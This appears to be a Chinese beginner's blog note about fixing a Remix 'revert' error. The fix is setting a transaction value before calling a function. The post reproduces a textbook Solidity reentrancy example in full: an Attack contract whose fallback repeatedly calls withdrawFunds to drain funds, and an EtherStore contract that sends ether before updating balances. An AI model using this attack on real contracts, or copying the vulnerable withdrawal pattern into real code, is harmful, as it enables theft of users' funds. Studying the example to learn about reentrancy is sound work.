初学者,solidity智能合约开发,在remix上向合约转账,报错信息如下:
transact to Attack.pwnEtherStore errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.
代码如下:代码为网上例子,调用pwnEtherStore()报以上错误,百度无果,后来仔细查找资料,发现要在remix设置value的值(要大于等于转账的以太币),,设置后运行正常:
// Attack合约代码
pragma solidity >=0.4.22 <0.6.0;
import "browser/EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) public payable{
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
//fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
// get ether from etherStore
function getEther() returns (uint256){
return etherStore.getEtherByAddress();
}
function getBalance() public view returns(uint) {
return this.balance;
}
function getRandomBalance(address addr) view returns(uint) {
return addr.balance;
}
}
// EtherStore合约代码
pragma solidity >=0.4.22 <0.6.0;
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() payable{
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// 限制withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
msg.sender.call.value(_weiToWithdraw)();
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
function getEtherByAddress() public view returns (uint256){
return balances[msg.sender];
}
function() public payable {
}
function storeEtherByCustomer() public payable {
}
}
虽然很简单的错误,但是报错信息显示不是很准确苦恼了挺长时间,特此记录下来